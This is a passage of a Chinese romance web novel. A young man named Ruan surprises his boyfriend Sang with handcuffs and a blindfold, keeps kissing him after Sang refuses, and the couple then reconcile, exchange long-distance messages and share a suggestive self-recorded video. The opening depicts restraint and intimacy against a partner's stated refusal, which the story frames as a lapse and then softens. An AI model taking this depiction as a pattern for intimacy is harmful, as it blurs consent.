说起来,前几天买的快递好像到了,得去取一下。 趁桑群洗澡的功夫,阮牧年拿回快递盒拆开,检查商品质量。 塑料手铐的材质比较软,不容易伤人,手模有些冰凉,阮牧年拿去清洗消毒后用电吹风热档吹了一会儿,给它塞进被窝里。 一切准备就绪……好像差点意思。他沉思片刻,拉开抽屉看了看,又掏出一副眼罩,质感很轻薄,戴久也不勒人。 然后关上灯,完美! 站在电灯开关处,阮牧年期待着桑群推门而入。 不多时,门外的光线透进来,胸口搭上温热的手,胡乱抠了抠。 “年年?” 阮牧年迫不及待地给他扣上手铐,将人推到门板上亲吻。 真是久违啊,柔软的唇,不稳的气息,身体贴着身体,脸颊蹭着脸颊,黑暗淡化了距离感,耳鬓厮磨的朦胧视线模糊了时间。 好舒服,好喜欢,阮牧年抱着他将舌头探进去,想变得更加亲密,却不料被桑群咬了一口。 “喂,我手上到底是什么?” 可能是太突然了,桑群有些慌乱吧。阮牧年退开一些,小声给他解释:“一个小道具。你别乱动,不会弄伤你的。” “阮牧年,”可桑群的声音听起来并不甜蜜,反而冰冷地发出抗拒,“拿掉。我要去吹头发。” 吹什么头发啊,他已经忍不住了。阮牧年置若罔闻地继续亲吻,从湿润的鬓角到发热的耳朵,那是桑群身上最诚实的部位,害羞时会变烫,特别可爱。 真好,就这样亲热下去吧,他实在是太想桑群了…… “你又在发什么疯!” 脚背被人狠狠踩住,阮牧年正吻至他肩头,齿关不禁发力咬合。 脚好疼,冷静阮牧年,想一想桑群为什么要抗拒你…… 一言不发地扑过来啃人,还不让人家反抗吗?赶紧给桑群道歉…… 凭什么,恋人之间亲吻分明是理所应当的事情,桑群冷落了你那么久,这段时间的委屈害怕还不多吗?这种时候还要妥协忍让吗? 桑群他—— 冷静—— “我亲你就是发疯吗?!” 百般思绪挤满脑海,诸多情绪翻涌膨胀,而愤怒、怨恨与不甘煽风点火,令人面目全非。 “我不能抓你的手,不能抱你,不能跟你亲密吗?我为什么不可以这样?” 冷静!现在不是发泄情绪的时候,赶紧缓和语气! 天呐!你居然对桑群发火,快停止大吼大叫! 可这些劝阻太微弱,有另一道更加响亮的声音占据大脑,将他的理智焚烧殆尽。 发泄你的不满吧,倾泻你的埋怨吧,忍气吞声只有凄惨结局,不争不抢什么也得不到。 看见了吗?你心里蛰伏的巨兽已然苏醒,它多么贪婪,需要吞噬许多许多的爱意和快感才能满足。恐惧会使它更加饥饿,饥饿会使你心如蚁噬。别忍耐了,你本质上就是个欲求不满的坏家伙,桑群那么爱你,快向他索取更多…… 私欲仿佛恶魔低语在耳畔徘徊,情绪失控、思维混乱,直到—— 他看见了桑群的眼泪。 起初,深色眼罩只是底部稍微洇湿,接着有晶莹滑过那截挺直的鼻梁,无声砸落床单。 那瞬间,绝大多数杂音如潮水般退去,只剩阮二年低低的呢喃。 你居然把桑群弄哭了…… 桑群的眼泪对他而言太陌生了,还是在这种时候。阮牧年笨拙地替他擦拭,可怎么也擦不干净,那泪滴仿佛砸在他心尖上,令自己也变得泪眼婆娑。 怎么会变成这样? 桑群靠坐在他怀里,也哑声问:“为什么这样?” 阮牧年下意识推脱:“我、我害怕……怕你没那么喜欢我……” 桑群却说:“我不接受。” 对上那双闪着水光却依旧沉静得令人心安的眼睛,再多伪装都无所遁形。凶恶的想法尽数噤声,阮牧年闭了闭眼,哪儿有什么贪婪的巨大怪兽啊,原来它可怖的羽翼之下,只是一个抱着膝盖哭泣的小小人类,正在不安地发抖。 “我害怕的呜,是我自己,”他终于明白了,“我怕我不够喜欢你呜呜……” 逐渐疏离的生活,碰不到的恋人和充满恶意的揣测,仿佛在为他编织一个新的结局。而通往它的路上,最令他恐惧的不是桑群的背弃,而是他自己的懦弱。 不安会不断累加吗,结局会越来越近吗,他会不会难以承受,做那个提前逃跑的胆小鬼? 可惜,他无法替未来的自己作答,也无法全然相信那个自己。 这样的阮牧年……看起来很糟糕吧。 阮牧年自暴自弃地想着,不知道会被桑群如何教训。 可桑群的回答十分简单。 他只是拥紧自己,漂亮的身体线条微微紧绷,泪痕未干的眼尾依然英气十足,轻扬的唇角微张,一句话便叫他怔在原地。 “瞧,你的身体比你更清楚你喜欢我,你在怀疑什么?” 阮牧年张了张嘴:“我不知道……” 桑群把他拉下来,鼻尖即将碰到:“你要清楚你把我弄成这副样子还没挨揍,不是因为我揍不动你,是因为我特么喜欢你。你要是不安,说给我听,而不是用乱七八糟的东西把我搞成这样,听明白吗阮牧年?” 睫羽轻颤,阮牧年呆呆地望着他,心潮汹涌。 他不知道自己有没有听明白,但听完这些话后,他想……真不愧是桑群啊。 永远让人心安,永远给人力量。 连他的妄自菲薄也在那温暖的光芒下难以自容,恐惧没入黑暗,怨恨散落尘埃,结局在后退,而层层遮掩的巨翼被人拨开,桑群探头进来。 原来躲在这里,桑群伸手拉起蜷缩的小小人类,眼里没有异样和惊惧,只是招呼他,快走,一起去晒太阳。 阮牧年紧紧抱住他,泪水止不住地淌下,这次不是因为害怕,而是因为满溢到令心脏酸胀的爱意。 桑群无奈地抚摸他的脸蛋,语调低沉温柔:“哭什么。” 是啊,不该哭的。 应该高兴,他冷静地想。 应该幸福,他又想。 应该再来一次!他连忙把阮三年扔回门里,咔嗒上锁。 今晚能抱着桑群入睡,他就很高兴很幸福了。 桑群的臂弯好温暖,沐浴露的气味混着淡淡的清香,晚安吻一如既往,哄慰和抚拍一如既往,微微湿润的困意一如既往。 梦随着泪水汇成的河流漂荡,摇摇晃晃,直到末梢才发觉鼻畔满是桑群的气息。 第二天醒来,阮牧年下意识往旁边一捞,却捞了个空。 桑群呢? 危机感使他立刻清醒,翻身下床去找人,走到半路忽然有种凉嗖嗖的感觉。 阮牧年低头一看,睡衣、腿……不对,他的裤子呢? 这是怎么回事,他扯着睡衣下摆从门口探出脑袋张望,桑群的身影出现在阳台上。 对方好像在晒衣服,瞥见卧室门开了,转身进屋:“醒了?怎么不过来。” 看见桑群的打扮,阮牧年揉揉眼睛,以为出现了幻觉。 桑群居然赤膊系着围裙,底下正是他不翼而飞的睡裤! 见他瞪着眼睛,桑群抱臂嗤笑:“怎么。” “你你你,”阮牧年控诉,“你怎么偷我裤子穿!” 桑群抬了抬眉,反问:“是啊,我为什么不穿自己的裤子?” 阮牧年张了张嘴:“啊……” 他这才想起来,昨晚桑群洗完澡本来要去床边捡衣服穿,结果捡起一堆破烂。 ……因为脱掉的时候被他不小心撕破了。 阮牧年气焰顿时熄灭:“对、对不起。” 桑群低头:“又不穿鞋。” “我那是着急出来找你……和裤子!” 阮牧年抬头辩解,下一秒就被揽进温热的怀里。 桑群抱着他的腰,倾身附在他耳边,一只手从腰际滑落,撩起半遮半掩的下摆钻进去,揉了揉他的屁股蛋:“大清早这样穿,勾引谁呢?” “我没有……”阮牧年回抱住他蹭了蹭,“你不也没穿衣服,勾引谁呢?” “勾引你。”桑群偏头吻在他脸蛋上,成功把人亲红了。 “呃啊,我中计了,”阮牧年捂住胸口,“你好会勾引啊,再亲一口,正好我硬……哎呀。” 桑群轻推他一把,弯腰把床边的拖鞋拎过来:“赶紧去洗漱。” 阮牧年撇了撇嘴。 桑群在他走前又捞人过来亲了一口,笑说:“去洗漱,回来给你看好东西。” 哦? 说到这个他就不困了,阮牧年火速结束战斗,飞回沙发边坐下:“什么好东西?” “喏,早餐,”桑群将热乎乎的燕麦和吐司肉饼递给他,按开手机,“我找一下。” 阮牧年趴到他肩上嚼吐司,看着桑群点开录音机软件。 嗯?难道是昨晚的激情录音? 桑群温馨提醒:“把食物咽下去再听。” “噢噢,”阮牧年连忙加快咀嚼速度,没几分钟就吃完了早餐,“都吞下去啦。” 桑群伸手抹掉他嘴角残留的面包渣,捏了捏他的下巴:“坐好。” 阮牧年听话地坐直,抱住他的胳膊,冲他眨眨眼睛。 桑群轻笑着按开录音。 一道 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“机会难得,待会儿有个表格会发到同学你的手机上,请尽快填写相关信息,后台审核后会指引你在特殊通道完成报名。” “好的好的,那我什么时候能收到录取通知书呢?” “招生办老师”笑了一声:“梦里什么都有。” 神奇生物:“?” 阮牧年:“哈哈哈哈哈……” 录音还在继续:“你、你是骗子?!” “不会吧,你真以为自己考得上?”稳重老成的中年音被另一道冷冽的嗓音代替,没什么起伏的话语字字诛心,“那明年春晚小品演什么,都没你好笑啊。你家附近天气如何?” “你他妈谁啊,我家天气关你屁事?” “毕竟你胆大包天,应该很久没晒过太阳了吧?”桑群一番嘲讽张嘴就来,“难怪这么狂妄,原来是缺钙降智啊。” 神奇生物听起来气炸了,嘴却跟不上:“你他妈才降智!我、我……” “怎么还有结巴症状,恶化了吗?”桑群佯作关心,“快去精神科看看吧,别嫌麻烦,残障有优先通道。” 神奇生物完全吵不过他,只能爆出一些无意义的脏话:“操,你他妈是桑群吧?装什么装。怎么,来替阮牧年那个贱货打抱不平?” “你的道歉值几个钱,”桑群冷下声音,“路边的狗吠两声还知道摇尾巴讨食,你呢?在动保范围内吗?” “什么,骂谁是狗呢?你、你……” “结巴这么严重,别逗羊驼笑了,不如嘴捐出去为碳平衡做点贡献,环保局会感谢你的。” “妈的你骂人不拐弯会死啊,我他妈……!” “新华字典都更新到第12版了,你怎么还是那几个词?步步高应该请你代言。” “¥%#&^*@#$……” 桑群vs神奇生物的激烈言语争锋,最终以桑群不带脏字但侮辱性极强的反问和气人程度百分百的抢先挂断落下了帷幕。 进度条走到最后,阮牧年伸手指戳了戳:“循环播放按键呢?” “没这功能,”桑群手指一划,将MP3文件分享给他,“自己上传音乐软件。” “你怎么有他电话,”阮牧年定定地看着桑群,问,“是特意为了给我出气吗?” “没,”桑群嘴硬了一秒,“问你朋友要的,会谈前顺便练练嘴而已……解气吗?” “爽,”阮牧年点头,“我会好好学习的。” “别什么都学啊,”桑群无奈捏了捏他的脸蛋,“被人欺负居然不告诉我,怎么还是没长进?” “啊啊你还没骂够吗?”阮牧年连忙捂住耳朵,小声辩解,“再说,我也没有一直受气,后面反击回去了……” “说两句无关痛痒的狠话,还赔进去一件衣服?”桑群问。 阮牧年:“……” “笨蛋,”桑群勾住他下巴,抬指揉了揉那不自觉嘟起来的下唇,“明明很喜欢接吻,怎么学不会一点伶牙俐齿?不省心。” 阮牧年把脸埋进他手心:“你别说了呜呜……” “我不是在说教,”桑群捧起他的脸,“是在心疼。” 阮牧年在他手里点了点头:“嗯。” 桑群叹了口气:“而且我……也欠你一句对不起,年年。” 阮牧年一怔:“怎么忽然……” “昨晚听完你的话后,我也认真想了想,”桑群低头跟他额心相抵,轻声道,“这段时间我忙着工厂的事,冷落你了,是么?” 阮牧年眨动眼皮,声带颤动:“……嗯。” “对不起,”桑群抚摸着他柔软的脸颊,呼吸交缠,“我疏于关心,害你没有安全感,是我的问题。” 阮牧年摇头:“我知道你也很辛苦。” “嗯,年年很懂事,会体谅别人,好棒,”桑群缓缓下移,蹭过他的鼻尖,“不过确实存在没做好的地方,我以后会改正的。只是……我同样希望你在我面前不要太懂事,可以任性一点。 “有时候我可能并不知道你心情不好,所以想要你感到孤独委屈后主动告诉我。如果我暂时没有时间和精力,我也会照实告诉你,约定好什么时候弥补,可以吗?” 阮牧年抬手揪住他的围裙下摆,鼻尖微痒,有些发胀:“好。” 桑群将他拥入怀中,又问:“那原谅我了吗?” “我没有怪你,”阮牧年轻轻摇头,翘起的发丝擦过桑群侧颈,“……喜欢你。” “嗯?什么。”桑群扬起尾音问。 “……没听到算了。”阮牧年往他颈窝深处埋了埋。 “再说一遍,”桑群拍拍他的背,齿尖轻咬泛红的耳廓,“我想听。” 阮牧年缩了缩,跑他耳边喊:“我说——我好喜欢你!” “我也是。”桑群轻哼,把人拉下来亲吻。 “也是什么?” “我也喜欢你,计较鬼。” “天气真好,今天可以再做一次吗?” “不可以,我腰还疼着。” “那你快穿衣服,我要忍不住了。” “你不穿裤子的话,我也很难忍住。” “那你把裤子还给我。” “去找条运动裤……等等,别扯!” “快还给我!” “搞什么,那我穿什么?” “你就穿围裙,很好看。” “……别蹭我,自己去厕所解决。” “不要,我就要抱着你。” “……黏人精。” 如果可以,阮牧年想一直挂在桑群身上,再也不分开。 可惜出差的日子很快来临,除了去良辰总部跟经理会面,桑群还要到邻市考察纺织厂,至少离家五天! 而且厂里还有几位员工一块出差,要办的都是正事,他完全没有陪同的理由。 那个灰色的清晨,阮牧年悲伤地回味告别前最后一次亲吻,看着男朋友的背影渐行渐远,小小的出租屋变得无比空旷。 太难过了,准备买点四级真题消磨时光。 结果根本集中不了精神,在答题卡空白处洋洋洒洒写了篇相思成疾小作文,手感意外不错,阮牧年稍微润色一番,非常满意地分享出去。 【小绵羊:[图片]】 【小绵羊:快看我的同人文处女作,晴天太太求点评QAQ】 【晴天:?】 【晴天:请求英译中】 【小绵羊:都快四级考试了,这种难度的文章还看不懂吗?】 【晴天:???】 【晴天:你是魔鬼吧?】 虽然被人嫌弃了(其实并没有),但阮牧年没有灰心。他咬着笔帽,认真思考句尾的称呼用honey还是baby……前者的发音很黏糊,能够表达甜蜜亲近的感觉;后者有些俗气,但桑群说过自己喜欢被叫宝贝…… 选不出来,问问本人吧。 【Ruann:你喜欢被叫honey还是baby?】 【阿君羊:都可以】 【阿君羊:怎么了?】 【Ruann:[语音3″]】 “宝宝,我想你啦。” 对方输入了半天,也回了段语音过来。 “嗯,我也很想你。” 低沉嗓音好迷人,阮牧年开最大音量用内置录音机录下来,准备睡前循环播放。 日子一秒一秒地过去,好不容易刷完了翻译网课,抬头一看,桑群才刚出差两天。 这也太难熬了。 虽然他们每天都有发消息打电话,偶尔会视频,可一个人的空调格外凄凉,被窝衣柜里仅剩的一点桑群气味都要被他吸完了。 【Ruann:桑桑你喜欢什么味道的香水?】 【阿君羊:清淡点的吧】 【Ruann:[香水搭配公式汇总.pdf]】 几小时后,收到一条回复。 【阿君羊:木质调第4款】 【Ruann:[小熊点赞]】 【Ruann:好想你,闻不到你的味道】 【阿君羊:多到阳台上走走,我经常过去浇水[摸摸乖乖]】 【Ruann:好哇[飞奔]】 【Ruann:如果我开一家手作香水店,你会给我投资嘛?】 【Ruann:[小狗探头]】 【阿君羊:好】 【Ruann:不考虑投资风险?】 【阿君羊:亏本了就来给我打工还债】 【Ruann:那我永远都还不完债了,想一直缠着你[哭哭]】 【阿君羊:行,连本带息卖给我好了】 冲着这句话,阮牧年撸起袖子开始了努力欠债的伟大征途。 谁知没等亏本,先倒在了拿到营业许可证之前。 “到底是哪里出了问题?” 阮牧年一脸愁容。邻居姐姐站在门口闻了几秒,默默掏出口罩戴上,活泼的白土松宝宝从主人怀中跳下来,飞速刨腿逃回家中。 “要不香料给我,到时候你直接用成品吧,”邻居姐姐委婉地说,“家里记得多通风几天,不然味道散不掉。” “……好的。” 等家里的怪味散得差不多,四级模拟题也写了一半,阳台绿植晃啊晃,桑群还是没回来。 好无聊,暑假怎么会这么无聊? 那天中午,阮牧年抱着桑群的枕头做了一个长长的梦。梦里有些闷、有些旖旎,桑群正按着他接吻,他舒服得越陷越深,被捆住手腕压到头顶,腿也被掰开…… 然后午睡闹钟响铃,毁了他的美梦。 阮牧年面无表情地盯着手机里的二弟,愠怒删掉所有闹钟。 卧室窗帘拉得严实,昏暗的光线延续着梦的余韵。 他左右看了看,按开手机的录音列表。 “年年乖,睡个好觉。” “嗯,我也很想你。” “对,最喜欢你。” “……哥哥。” 阮牧年捂住脸,完了,这下根本忍不住。 可只有声音还不够,他回想着梦里的情节,起身收拾床铺。 枕头和被子推到一边,手机靠墙架在床头板上,床头柜的抽屉开关了几次,松垮的睡裤脱掉甩开,相机不断进行调试,终于呈现最完美的画面。 阮牧年思考了一会儿,将脸凑到镜头前,整理好表情按下录制键。 “桑桑,事情办得怎么样?”阮牧年歪头,故意仰视镜头摆出无辜乖甜的样子,“刚才我梦到你了,却被闹钟吵醒,还不能保存梦,好难过。你会不会也觉得见不到面很孤单?我决定录个视频给你,这样你想我的时候就能随时点开看看我啦。” 说着,他凑近屏幕,画面瞬间被大脸占据,轻声发出的话音像是贴着耳畔的私语。 “我好想你呀,想你的声音、你的味道,还有你掌心的温度。你上次抚摸我是什么时候?记忆有些模糊,是什么触感呢?” (……) “对不起桑桑,我得去收拾床铺了,”阮牧年眉头挑高,眼角微微湿润,“不知道为什么,你不在的每一秒都过得好慢。真想快进到你回家的那天……哎呀,我怎么越来越贪心了。” 阮牧年贴近,隔空给他一个亲亲:“先许愿今晚也能梦见你吧。视频就到这里啦,出门在外别太勉强自己,要学会适当放松哦,年年一直在家里挂念你,mua~” 视频录完,阮牧年没敢再看一遍,压缩后闭着眼发给了桑群。 【Ruann:[视频]】 【Ruann:不要外放哦】 到了晚上,才收到桑群发来的问号。 【阿君羊:你在干什么】 【Ruann:在想你】 【阿君羊:手在干什么】 【Ruann:在学你爱我】 阿君羊安静了好半天,阮牧年晃晃手机,消息卡住了吗。 终于,对面回复了。 【阿君羊:[语音5″]】